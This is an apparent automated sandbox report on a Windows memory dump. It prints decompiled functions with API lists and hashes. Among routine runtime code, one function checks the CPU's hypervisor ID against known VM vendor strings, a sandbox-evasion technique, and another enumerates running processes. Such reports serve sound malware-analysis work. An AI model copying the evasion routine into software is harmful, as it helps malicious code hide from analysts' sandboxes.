Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$AllocateFree_free
String ID:
API String ID: 2784253671-0
Opcode ID: e3597f89f24ceafffc4df9fc21f554d6393e83129595a89f945b109acdbceb5d
Instruction ID: f086f7f719bda3272919297820ab0dff29b2ae4f68269dccc13757d2b61e3206
Opcode Fuzzy Hash: e3597f89f24ceafffc4df9fc21f554d6393e83129595a89f945b109acdbceb5d
Instruction Fuzzy Hash: 6AF062710057049FD7349F11D841792B7FCEF04715F10842FE29A8B691DB78B544CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004B3009, Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E004B3009(void* __ecx, long _a4) {
				void* __esi;
				void* _t4;
				void* _t6;
				void* _t7;
				long _t8;

				_t7 = __ecx;
				_t8 = _a4;
				if(_t8 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E004A966E())) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t8 == 0) {
					_t8 = _t8 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0x4eeb00, 0, _t8); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E004B2C51();
					if(__eflags == 0) {
						goto L7;
					}
					_t6 = E004B08A6(_t7, _t8, __eflags, _t8);
					_pop(_t7);
					__eflags = _t6;
					if(_t6 == 0) {
						goto L7;
					}
				}
				return _t4;
			}

0x004b3009
0x004b300f
0x004b3015
0x004b3047
0x004b304c
0x004b3052
0x00000000
0x004b3052
0x004b3019
0x004b301b
0x004b301b
0x004b3032
0x004b303b
0x004b3043
0x00000000
0x00000000
0x004b3023
0x004b3025
0x00000000
0x00000000
0x004b3028
0x004b302d
0x004b302e
0x004b3030
0x00000000
0x00000000
0x004b3030
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,004BAEA8,00000000,?,004AB16D,?,00000008,?,004AD0C1,?,?,00000000), ref: 004B303B

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: deed60d1610bc0232ec50c4714b6350813f53c1a698db842715f9ecf29e5d884
Instruction ID: 8d747d84a442c24b64d8b1a2952e442fc8bda9735a41b62449694b540e0bbcff
Opcode Fuzzy Hash: deed60d1610bc0232ec50c4714b6350813f53c1a698db842715f9ecf29e5d884
Instruction Fuzzy Hash: 67E0ED252402215BEB323E2B9C05BEB3A5C9F42BA2F110123FC559628ACB6CDE0181FD

Uniqueness

Uniqueness Score: -1.00%

Function 004AAE82, Relevance: 1.5, APIs: 1, Instructions: 31
threadCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E004AAE82(void* __ecx, long _a4) {
				intOrPtr _v0;
				void* _v9;
				void* __esi;
				void* _t12;
				intOrPtr _t13;
				struct HINSTANCE__* _t14;
				void* _t24;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t28;

				_t24 = __ecx;
				_t12 = E004B369F();
				if(_t12 == 0) {
					L1:
					_t12 =  *0x4f0238(_a4);
				}
				_t27 =  *((intOrPtr*)(_t12 + 0x360));
				if(_t27 == 0) {
					goto L1;
				}
				_t35 =  *((char*)(_t27 + 0x10));
				if( *((char*)(_t27 + 0x10)) != 0) {
					E004B7DB6(_t24, _t27, _t35);
				}
				_t13 =  *((intOrPtr*)(_t27 + 8));
				if(_t13 != 0xffffffff && _t13 != 0) {
					 *0x4f00ac(_t13);
				}
				_t14 =  *(_t27 + 0xc);
				if(_t14 == 0xffffffff || _t14 == 0) {
					goto L1;
				}
				FreeLibraryAndExitThread(_t14, _a4); // executed
				asm("int3");
				_push(_t24);
				_push(_t27);
				_t28 = E004B2F72(_t24, 1, 0x14);
				E004B2FCF(0);
				if(_t28 != 0) {
					_t26 = _v0;
					 *(_t28 + 4) = _a4;
					_t10 = _t28 + 0xc; // 0xc
					 *_t28 = _t26;
					 *0x4f023c(4, _t26, _t10);
				}
				E004AAE4B(0);
				return _t28;
			}

0x004aae82
0x004aae88
0x004aae8f
0x004aae91
0x004aae94
0x004aae94
0x004aae9a
0x004aaea2
0x00000000
0x00000000
0x004aaea4
0x004aaea8
0x004aaeaa
0x004aaeaa
0x004aaeaf
0x004aaeb5
0x004aaebc
0x004aaebc
0x004aaec2
0x004aaec8
0x00000000
0x00000000
0x004aaed2
0x004aaed8
0x004aaede
0x004aaedf
0x004aaeeb
0x004aaeed
0x004aaef7
0x004aaefc
0x004aaeff
0x004aaf02
0x004aaf09
0x004aaf0b
0x004aaf0b
0x004aaf16
0x004aaf21

APIs

Part of subcall function 004B369F: _free.LIBCMT ref: 004B36D9

FreeLibraryAndExitThread.KERNEL32(?,?,?,?,004AAFB4,?,?,004AAE2B,00000000), ref: 004AAED2

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitFreeLibraryThread_free
String ID:
API String ID: 2210149398-0
Opcode ID: 9810cde5d8caa70e261cae8f1b40db7f21c20f5b3738968fef222fc01693cdae
Instruction ID: f85d0011c9d6113551f714cbc55add30502266cf7d3d4c78badd48501831349d
Opcode Fuzzy Hash: 9810cde5d8caa70e261cae8f1b40db7f21c20f5b3738968fef222fc01693cdae
Instruction Fuzzy Hash: 9CF0E2301403006BCB629F35CC0CA6B7B98AF52365F154716F869C33A1DB38DC61C6AA

Uniqueness

Uniqueness Score: -1.00%

Function 004C1D1F, Relevance: 1.5, APIs: 1, Instructions: 15
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004C1D1F(WCHAR* _a4, struct _SECURITY_ATTRIBUTES* _a8, long _a16, long _a20, long _a24, signed int _a28, signed int _a32) {
				void* _t10;

				_t10 = CreateFileW(_a4, _a16, _a24, _a8, _a20, _a28 | _a32, 0); // executed
				return _t10;
			}

0x004c1d3c
0x004c1d43

APIs

CreateFileW.KERNEL32(00000000,00000000,?,004C20FA,?,?,00000000,?,004C20FA,00000000,0000000C), ref: 004C1D3C

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8c0ace9f6479a9408fd5a04cf5319de070908fcdbb9995ed9a71c7c87d315486
Instruction ID: 77a87769d2922ab1aa08fa2c4765cde3081cc8ea7699ff4b09f262fb826255c5
Opcode Fuzzy Hash: 8c0ace9f6479a9408fd5a04cf5319de070908fcdbb9995ed9a71c7c87d315486
Instruction Fuzzy Hash: 35D06C3200010DBFDF128F84ED06EDA3BAAFB88714F014010BA1896021C732E831EB94

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00438696, Relevance: 7.6, Strings: 6, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00438696(intOrPtr __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				signed int _v8;
				char _v72;
				char _v84;
				char _v88;
				char* _v92;
				char* _v96;
				char* _v100;
				char* _v104;
				char* _v108;
				char* _v112;
				signed int _t20;
				void* _t28;
				void* _t31;
				signed int _t44;
				intOrPtr* _t47;
				signed int _t50;
				void* _t51;
				void* _t52;

				_t20 =  *0x4eb018; // 0x6027d6a0
				_v8 = _t20 ^ _t50;
				asm("movaps xmm0, [0x427880]");
				_push(__ebx);
				asm("movups [ebp-0x54], xmm0");
				_t47 =  &_v88;
				_v112 = L"KVMKVMKVM";
				_v108 = L"Microsoft Hv";
				asm("cpuid");
				 *_t47 = 0x40000000;
				_t44 = 0;
				 *((intOrPtr*)(_t47 + 4)) = __ebx;
				 *((intOrPtr*)(_t47 + 8)) = 0;
				_v104 = L"VMwareVMware";
				_v100 = L"XenVMMXenVMM";
				_v96 = L"prl hyperv  ";
				_v92 = L"VBoxVBoxVBox";
				 *((intOrPtr*)(_t47 + 0xc)) = __edx;
				E0049FB10(0,  &_v72, 0, 0x40);
				E0049F570( &_v72,  &_v84, 0xc);
				_t52 = _t51 + 0x18;
				do {
					_t28 = E004581FE(0);
					_t36 = _t28;
					if(_t28 == 0) {
						goto L3;
					} else {
						_t31 = E004AC312(_t28, _t36,  *((intOrPtr*)(_t50 + _t44 * 4 - 0x6c)));
						L004A5B7B(_t36);
						_t52 = _t52 + 0xc;
						if(_t31 != 0) {
							goto L3;
						}
					}
					L5:
					return E0049CE1D(_v8 ^ _t50);
					L3:
					_t44 = _t44 + 1;
				} while (_t44 < 6);
				goto L5;
			}

0x0043869c
0x004386a3
0x004386a6
0x004386af
0x004386b2
0x004386b6
0x004386b9
0x004386c5
0x004386cc
0x004386ce
0x004386d0
0x004386d4
0x004386db
0x004386df
0x004386e6
0x004386ed
0x004386f4
0x004386fb
0x004386fe
0x0043870d
0x00438712
0x00438715
0x00438718
0x0043871d
0x00438721
0x00000000
0x00438723
0x00438728
0x00438730
0x00438735
0x0043873a
0x00000000
0x00000000
0x0043873a
0x00438744
0x00438752
0x0043873c
0x0043873c
0x0043873d
0x00000000

Strings

KVMKVMKVM, xrefs: 004386B9
VBoxVBoxVBox, xrefs: 004386F4
prl hyperv , xrefs: 004386ED
XenVMMXenVMM, xrefs: 004386E6
Microsoft Hv, xrefs: 004386C5
VMwareVMware, xrefs: 004386DF

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID: KVMKVMKVM$Microsoft Hv$VBoxVBoxVBox$VMwareVMware$XenVMMXenVMM$prl hyperv
API String ID: 0-642888547
Opcode ID: 993487a36ee2dca65cd00738d82c7374a501bfd2630f613d6f3d7073e2afcf8d
Instruction ID: 2c8174c4dc435a945022d74faaa771820768a3d757ee15a78210c07fce50f33d
Opcode Fuzzy Hash: 993487a36ee2dca65cd00738d82c7374a501bfd2630f613d6f3d7073e2afcf8d
Instruction Fuzzy Hash: A9218471E003489ADB10DFE5CD859DEB7F8AF44304F10853EE516AB215EB78A949CB48

Uniqueness

Uniqueness Score: -1.00%

Function 00446B77, Relevance: 4.6, APIs: 3, Instructions: 64
processCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E00446B77(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				char _v560;
				void* _v564;
				void* __ebp;
				signed int _t10;
				void* _t30;
				intOrPtr* _t37;
				signed int _t40;

				_t10 =  *0x4eb018; // 0x6027d6a0
				_v8 = _t10 ^ _t40;
				_t37 = __ecx;
				E00482C3F(__ecx,  *__ecx);
				 *((intOrPtr*)( *__ecx)) =  *__ecx;
				 *((intOrPtr*)( *__ecx + 4)) =  *__ecx;
				 *((intOrPtr*)(__ecx + 4)) = 0;
				_t30 = CreateToolhelp32Snapshot(2, 0);
				if(_t30 != 0xffffffff) {
					E0049FB10(_t37,  &_v560, 0, 0x228);
					_v564 = 0x22c;
					__eflags =  *0x4f012c(_t30,  &_v564);
					if(__eflags == 0) {
						 *0x4f0018();
					} else {
						do {
							_push( &_v564);
							E00482C63(_t37, _t37, 0, __eflags,  *_t37);
							__eflags = Process32NextW(_t30,  &_v564);
						} while (__eflags != 0);
					}
					CloseHandle(_t30);
				} else {
					 *0x4f0018();
				}
				return E0049CE1D(_v8 ^ _t40);
			}

0x00446b80
0x00446b87
0x00446b8d
0x00446b93
0x00446b9d
0x00446ba1
0x00446ba4
0x00446bad
0x00446bb2
0x00446bc9
0x00446bd1
0x00446be9
0x00446beb
0x00446c11
0x00446bed
0x00446bed
0x00446bf5
0x00446bf8
0x00446c0b
0x00446c0b
0x00446c0f
0x00446c1a
0x00446bb4
0x00446bb4
0x00446bb4
0x00446c30

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00446BA7
Process32NextW.KERNEL32(00000000,0000022C), ref: 00446C05
CloseHandle.KERNEL32(00000000), ref: 00446C1A

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CloseCreateHandleNextProcess32SnapshotToolhelp32
String ID:
API String ID: 3908517482-0
Opcode ID: 3907c088bc786b5f3a3e60a00515d035d2b5f57b828a3ebbde1cab34de4b0795
Instruction ID: caebbb575f0a62139c1f9c7cf2129debbac19428c654addac2487947c739b1ed
Opcode Fuzzy Hash: 3907c088bc786b5f3a3e60a00515d035d2b5f57b828a3ebbde1cab34de4b0795
Instruction Fuzzy Hash: 3E117F70600218AFE710EF75ECC8AAABBACEF48314F10056AE505C7251DB799E04CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0048B007, Relevance: 1.5, APIs: 1, Instructions: 15timeCOMMON

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,00489F47,?,?,?,?,0043814B,6027D6A0,00000000,?,?,?,?,004C6430,000000FF), ref: 0048B020

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: 7e19a0cd02b057a5834a22b81979d75ccf5cefadf5809eea2a0af9b0358bb3a6
Instruction ID: f7b7dc79603946aed887c1d186e63834c701c73459e55f8bbf0e878563023600
Opcode Fuzzy Hash: 7e19a0cd02b057a5834a22b81979d75ccf5cefadf5809eea2a0af9b0358bb3a6
Instruction Fuzzy Hash: FCD01232905139DBCA123B94FC484FEBB58EF86B513054072EA055B222CF765C11DBDD

Uniqueness

Uniqueness Score: -1.00%

Function 0043865F, Relevance: .0, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E0043865F(intOrPtr __edx) {
				signed int _v12;
				void* _v16;
				char _v20;
				intOrPtr _t14;
				intOrPtr* _t18;

				asm("stosd");
				_t18 =  &_v20;
				asm("stosd");
				asm("stosd");
				asm("cpuid");
				 *_t18 = 1;
				 *((intOrPtr*)(_t18 + 4)) = _t14;
				 *((intOrPtr*)(_t18 + 8)) = 0;
				 *((intOrPtr*)(_t18 + 0xc)) = __edx;
				return _v12 >> 0x0000001f & 0x00000001;
			}

0x0043866f
0x00438670
0x00438673
0x00438674
0x00438678
0x0043867a
0x0043867c
0x0043867f
0x00438682
0x00438695

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b88372051f017c5bf043178af136925ef495b466c4ad18f02f019001dbc2e48
Instruction ID: f806e8b762083dca8181b49f826a94bf69936ea6000fe717ade9226518f1eb44
Opcode Fuzzy Hash: 1b88372051f017c5bf043178af136925ef495b466c4ad18f02f019001dbc2e48
Instruction Fuzzy Hash: ADE04F73914A14AB9724DFADD8424ABFBF8EA48210740C86ED5AAE3521E170F4468A41

Uniqueness

Uniqueness Score: -1.00%

Function 004B0BDB, Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 331035fe73530a21265fcf2c99ae53156fbea7ebd3c8d52f53543fe230a0d814
Instruction ID: f77db7754e53cef0b021e9a6ddece56092268111c85ca308c42fe9050e1ec00d
Opcode Fuzzy Hash: 331035fe73530a21265fcf2c99ae53156fbea7ebd3c8d52f53543fe230a0d814
Instruction Fuzzy Hash: 78E04F31000108EFCF156F61DE08AAA3F39EF80346F000029F8055A222DF3ADC51CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 004AE54D, Relevance: 21.3, APIs: 14, Instructions: 296
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E004AE54D(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				signed int _v8;
				char _v21;
				intOrPtr _v22;
				signed short _v28;
				void* _v32;
				void* _v36;
				void* _v40;
				intOrPtr* _v44;
				signed int _v48;
				void* _v52;
				signed int* _v56;
				intOrPtr _v60;
				intOrPtr* _v64;
				signed int* _v68;
				void* _v72;
				char _v76;
				signed int _t101;
				intOrPtr* _t106;
				signed int _t123;
				signed short _t126;
				void* _t130;
				void* _t134;
				void* _t137;
				void* _t138;
				intOrPtr _t139;
				void* _t141;
				signed int _t142;
				intOrPtr* _t143;
				signed char _t160;
				signed char _t165;
				signed int _t166;
				void* _t168;
				signed int _t170;
				intOrPtr _t172;
				void* _t179;
				signed int* _t180;
				signed int* _t181;
				signed int _t182;
				signed char* _t189;
				signed char* _t190;
				void* _t192;
				signed int _t194;
				intOrPtr _t197;
				short* _t209;
				intOrPtr* _t211;
				intOrPtr* _t215;
				signed int _t216;
				signed int _t217;
				void* _t218;
				void* _t219;

				_t101 =  *0x4eb018; // 0x6027d6a0
				_v8 = _t101 ^ _t217;
				_t211 = _a4;
				_t170 = 0;
				_v64 = _t211;
				_v32 = 0;
				_t172 =  *((intOrPtr*)(_t211 + 0xa8));
				_v36 = 0;
				_v40 = 0;
				_v52 = 0;
				_v76 = _t211;
				_v72 = 0;
				if(_t172 == 0) {
					__eflags =  *(_t211 + 0x8c);
					if( *(_t211 + 0x8c) != 0) {
						asm("lock dec dword [eax]");
					}
					 *(_t211 + 0x8c) = _t170;
					__eflags = 0;
					 *(_t211 + 0x90) = _t170;
					 *_t211 = 0x4060d8;
					 *((intOrPtr*)(_t211 + 0x94)) = 0x406358;
					 *((intOrPtr*)(_t211 + 0x98)) = 0x4064d8;
					 *((intOrPtr*)(_t211 + 4)) = 1;
					L41:
					return E0049CE1D(_v8 ^ _t217);
				}
				_t106 = _t211 + 8;
				_v44 = 0;
				if( *_t106 != 0) {
					L3:
					_v44 = E004B2F72(_t172, 1, 4);
					E004B2FCF(_t170);
					_v32 = E004B2F72(_t172, 0x180, 2);
					E004B2FCF(_t170);
					_v36 = E004B2F72(_t172, 0x180, 1);
					E004B2FCF(_t170);
					_v40 = E004B2F72(_t172, 0x180, 1);
					E004B2FCF(_t170);
					_t197 = E004B2F72(_t172, 0x101, 1);
					_v52 = _t197;
					E004B2FCF(_t170);
					_t219 = _t218 + 0x3c;
					if(_v44 == _t170 || _v32 == _t170 || _t197 == 0 || _v36 == _t170 || _v40 == _t170) {
						L36:
						E004B2FCF(_v44);
						E004B2FCF(_v32);
						E004B2FCF(_v36);
						E004B2FCF(_v40);
						_t170 = 1;
						__eflags = 1;
						goto L37;
					} else {
						_t123 = _t170;
						do {
							 *(_t123 + _t197) = _t123;
							_t123 = _t123 + 1;
						} while (_t123 < 0x100);
						_push( &_v28);
						_push( *((intOrPtr*)(_t211 + 8)));
						if( *0x4f01e0() == 0) {
							goto L36;
						}
						_t126 = _v28;
						_t235 = _t126 - 5;
						if(_t126 > 5) {
							goto L36;
						}
						_t28 = _t197 + 1; // 0x1
						_v48 = _t126 & 0x0000ffff;
						_t130 = E004B9950(_t170, _t197, _t211, _t235, _t170,  *((intOrPtr*)(_t211 + 0xa8)), 0x100, _t28, 0xff, _v36 + 0x81, 0xff,  *((intOrPtr*)(_t211 + 8)), _t170);
						_t219 = _t219 + 0x24;
						_t236 = _t130;
						if(_t130 == 0) {
							goto L36;
						}
						_t34 = _t197 + 1; // 0x1
						_t134 = E004B9950(_t170, _t197, _t211, _t236, _t170,  *((intOrPtr*)(_t211 + 0xa8)), 0x200, _t34, 0xff, _v40 + 0x81, 0xff,  *((intOrPtr*)(_t211 + 8)), _t170);
						_t219 = _t219 + 0x24;
						if(_t134 == 0) {
							goto L36;
						}
						if(_v48 <= 1 || _v22 == _t170) {
							L22:
							_v60 = _v32 + 0x100;
							_t137 = E004BAE04(_t170, _t197, _t211, _t170, 1, _t197, 0x100, _v32 + 0x100,  *((intOrPtr*)(_t211 + 8)), _t170);
							_t219 = _t219 + 0x1c;
							if(_t137 == 0) {
								goto L36;
							}
							_t192 = _v32;
							_t138 = _t192 + 0xfe;
							 *_t138 = 0;
							_t179 = _v36;
							_v32 = _t138;
							_t139 = _v40;
							 *(_t179 + 0x7f) = _t170;
							_t180 = _t179 - 0xffffff80;
							 *(_t139 + 0x7f) = _t170;
							_v68 = _t180;
							 *_t180 = _t170;
							_t181 = _t139 + 0x80;
							_v56 = _t181;
							 *_t181 = _t170;
							if(_v48 <= 1 || _v22 == _t170) {
								L32:
								_t182 = 0x3f;
								memcpy(_t192, _t192 + 0x200, _t182 << 2);
								_push(0x1f);
								asm("movsw");
								_t141 = memcpy(_v36, _v36 + 0x100, 0 << 2);
								_push(0x1f);
								asm("movsw");
								asm("movsb");
								_t142 = memcpy(_t141, _t141 + 0x100, 0 << 2);
								asm("movsw");
								asm("movsb");
								_t215 = _v64;
								if( *((intOrPtr*)(_t215 + 0x8c)) != 0) {
									asm("lock xadd [ecx], eax");
									if((_t142 | 0xffffffff) == 0) {
										E004B2FCF( *(_t215 + 0x90) - 0xfe);
										E004B2FCF( *(_t215 + 0x94) - 0x80);
										E004B2FCF( *(_t215 + 0x98) - 0x80);
										E004B2FCF( *((intOrPtr*)(_t215 + 0x8c)));
									}
								}
								_t143 = _v44;
								 *_t143 = 1;
								 *((intOrPtr*)(_t215 + 0x8c)) = _t143;
								 *_t215 = _v60;
								 *(_t215 + 0x90) = _v32;
								 *(_t215 + 0x94) = _v68;
								 *(_t215 + 0x98) = _v56;
								 *(_t215 + 4) = _v48;
								L37:
								E004B2FCF(_v52);
								goto L41;
							} else {
								_t189 =  &_v21;
								while(1) {
									_t160 =  *_t189;
									if(_t160 == 0) {
										break;
									}
									_t216 =  *(_t189 - 1) & 0x000000ff;
									if(_t216 > (_t160 & 0x000000ff)) {
										L30:
										_t189 =  &(_t189[2]);
										if( *(_t189 - 1) != _t170) {
											continue;
										}
										break;
									}
									_t209 = _t192 + 0x100 + _t216 * 2;
									do {
										_t216 = _t216 + 1;
										 *_t209 = 0x8000;
										_t209 = _t209 + 2;
									} while (_t216 <= ( *_t189 & 0x000000ff));
									goto L30;
								}
								goto L32;
							}
						} else {
							_t190 =  &_v21;
							while(1) {
								_t165 =  *_t190;
								if(_t165 == 0) {
									goto L22;
								}
								_t194 =  *(_t190 - 1) & 0x000000ff;
								_t166 = _t165 & 0x000000ff;
								while(_t194 <= _t166) {
									 *((char*)(_t194 + _t197)) = 0x20;
									_t194 = _t194 + 1;
									__eflags = _t194;
									_t166 =  *_t190 & 0x000000ff;
								}
								_t190 =  &(_t190[2]);
								if( *(_t190 - 1) != _t170) {
									continue;
								}
								goto L22;
							}
							goto L22;
						}
					}
				}
				_push(_t106);
				_push(0x1004);
				_push(_t172);
				_push(0);
				_push( &_v76);
				_t168 = E004BAC52(0, __edi, _t211);
				_t219 = _t218 + 0x14;
				if(_t168 != 0) {
					goto L36;
				}
				goto L3;
			}

0x004ae555
0x004ae55c
0x004ae561
0x004ae564
0x004ae567
0x004ae56a
0x004ae56d
0x004ae573
0x004ae576
0x004ae579
0x004ae57c
0x004ae57f
0x004ae584
0x004ae8a4
0x004ae8a6
0x004ae8a8
0x004ae8a8
0x004ae8ab
0x004ae8b1
0x004ae8b3
0x004ae8b9
0x004ae8bf
0x004ae8c9
0x004ae8d3
0x004ae8da
0x004ae8ea
0x004ae8ea
0x004ae58a
0x004ae58d
0x004ae592
0x004ae5b0
0x004ae5ba
0x004ae5bd
0x004ae5d0
0x004ae5d3
0x004ae5e1
0x004ae5e4
0x004ae5f2
0x004ae5f5
0x004ae606
0x004ae609
0x004ae60c
0x004ae611
0x004ae617
0x004ae86b
0x004ae86e
0x004ae876
0x004ae87e
0x004ae886
0x004ae890
0x004ae890
0x00000000
0x004ae640
0x004ae640
0x004ae642
0x004ae642
0x004ae645
0x004ae646
0x004ae650
0x004ae651
0x004ae65c
0x00000000
0x00000000
0x004ae662
0x004ae665
0x004ae668
0x00000000
0x00000000
0x004ae675
0x004ae678
0x004ae698
0x004ae69d
0x004ae6a0
0x004ae6a2
0x00000000
0x00000000
0x004ae6bc
0x004ae6cc
0x004ae6d1
0x004ae6d6
0x00000000
0x00000000
0x004ae6e0
0x004ae70d
0x004ae723
0x004ae726
0x004ae72b
0x004ae730
0x00000000
0x00000000
0x004ae736
0x004ae73b
0x004ae741
0x004ae744
0x004ae747
0x004ae74a
0x004ae74d
0x004ae750
0x004ae757
0x004ae75a
0x004ae75d
0x004ae75f
0x004ae765
0x004ae768
0x004ae76a
0x004ae7ac
0x004ae7ae
0x004ae7b7
0x004ae7bc
0x004ae7bf
0x004ae7c9
0x004ae7cb
0x004ae7ce
0x004ae7d0
0x004ae7d9
0x004ae7db
0x004ae7dd
0x004ae7de
0x004ae7e9
0x004ae7ee
0x004ae7f2
0x004ae800
0x004ae813
0x004ae821
0x004ae82c
0x004ae831
0x004ae7f2
0x004ae834
0x004ae837
0x004ae83d
0x004ae846
0x004ae84b
0x004ae854
0x004ae85d
0x004ae866
0x004ae891
0x004ae894
0x00000000
0x004ae771
0x004ae771
0x004ae774
0x004ae774
0x004ae778
0x00000000
0x00000000
0x004ae77a
0x004ae783
0x004ae7a1
0x004ae7a1
0x004ae7a7
0x00000000
0x00000000
0x00000000
0x004ae7a7
0x004ae78b
0x004ae78e
0x004ae793
0x004ae794
0x004ae797
0x004ae79d
0x00000000
0x004ae78e
0x00000000
0x004ae7a9
0x004ae6e7
0x004ae6e7
0x004ae6ea
0x004ae6ea
0x004ae6ee
0x00000000
0x00000000
0x004ae6f0
0x004ae6f4
0x004ae701
0x004ae6f9
0x004ae6fd
0x004ae6fd
0x004ae6fe
0x004ae6fe
0x004ae705
0x004ae70b
0x00000000
0x00000000
0x00000000
0x004ae70b
0x00000000
0x004ae6ea
0x004ae6e0
0x004ae617
0x004ae594
0x004ae595
0x004ae59a
0x004ae59e
0x004ae59f
0x004ae5a0
0x004ae5a5
0x004ae5aa
0x00000000
0x00000000
0x00000000

APIs

_free.LIBCMT ref: 004AE5BD
_free.LIBCMT ref: 004AE5D3
_free.LIBCMT ref: 004AE5E4
_free.LIBCMT ref: 004AE5F5
_free.LIBCMT ref: 004AE60C

Part of subcall function 004BAC52: _free.LIBCMT ref: 004BACBD

_free.LIBCMT ref: 004AE800
_free.LIBCMT ref: 004AE813
_free.LIBCMT ref: 004AE821
_free.LIBCMT ref: 004AE82C
_free.LIBCMT ref: 004AE86E
_free.LIBCMT ref: 004AE876
_free.LIBCMT ref: 004AE87E
_free.LIBCMT ref: 004AE886
_free.LIBCMT ref: 004AE894

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 8a636e2bbdafa0c27dd1f470b398a38e7b7c2fc48a7cac7d3dddb75e94c7b168
Instruction ID: 41dedc299b97d59205ef8975e4c92ae30be2675a0302f90edd16b3296b1dee3b
Opcode Fuzzy Hash: 8a636e2bbdafa0c27dd1f470b398a38e7b7c2fc48a7cac7d3dddb75e94c7b168
Instruction Fuzzy Hash: 07B1CE70900205EFDB11DF6AC881BEEBBF4BF19304F14456EF869A7342D779A8419B68

Uniqueness

Uniqueness Score: -1.00%

Function 004BDA4B, Relevance: 19.6, APIs: 13, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004BDA4B(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t25;
				intOrPtr* _t26;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t31;
				intOrPtr* _t45;
				intOrPtr* _t46;
				intOrPtr* _t47;
				intOrPtr* _t55;
				intOrPtr* _t70;
				intOrPtr _t74;

				_t74 = _a4;
				_t25 =  *((intOrPtr*)(_t74 + 0x88));
				if(_t25 != 0 && _t25 != 0x4eb098) {
					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
					if(_t45 != 0 &&  *_t45 == 0) {
						_t46 =  *((intOrPtr*)(_t74 + 0x84));
						if(_t46 != 0 &&  *_t46 == 0) {
							E004B2FCF(_t46);
							E004BCDDE( *((intOrPtr*)(_t74 + 0x88)));
						}
						_t47 =  *((intOrPtr*)(_t74 + 0x80));
						if(_t47 != 0 &&  *_t47 == 0) {
							E004B2FCF(_t47);
							E004BD298( *((intOrPtr*)(_t74 + 0x88)));
						}
						E004B2FCF( *((intOrPtr*)(_t74 + 0x7c)));
						E004B2FCF( *((intOrPtr*)(_t74 + 0x88)));
					}
				}
				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
				if(_t26 != 0 &&  *_t26 == 0) {
					E004B2FCF( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
					E004B2FCF( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
					E004B2FCF( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
					E004B2FCF( *((intOrPtr*)(_t74 + 0x8c)));
				}
				E004BDBBE( *((intOrPtr*)(_t74 + 0x9c)));
				_t28 = 6;
				_t55 = _t74 + 0xa0;
				_v8 = _t28;
				_t70 = _t74 + 0x28;
				do {
					if( *((intOrPtr*)(_t70 - 8)) != 0x4eb288) {
						_t31 =  *_t70;
						if(_t31 != 0 &&  *_t31 == 0) {
							E004B2FCF(_t31);
							E004B2FCF( *_t55);
						}
						_t28 = _v8;
					}
					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
						_t29 =  *((intOrPtr*)(_t70 - 4));
						if(_t29 != 0 &&  *_t29 == 0) {
							E004B2FCF(_t29);
						}
						_t28 = _v8;
					}
					_t55 = _t55 + 4;
					_t70 = _t70 + 0x10;
					_t28 = _t28 - 1;
					_v8 = _t28;
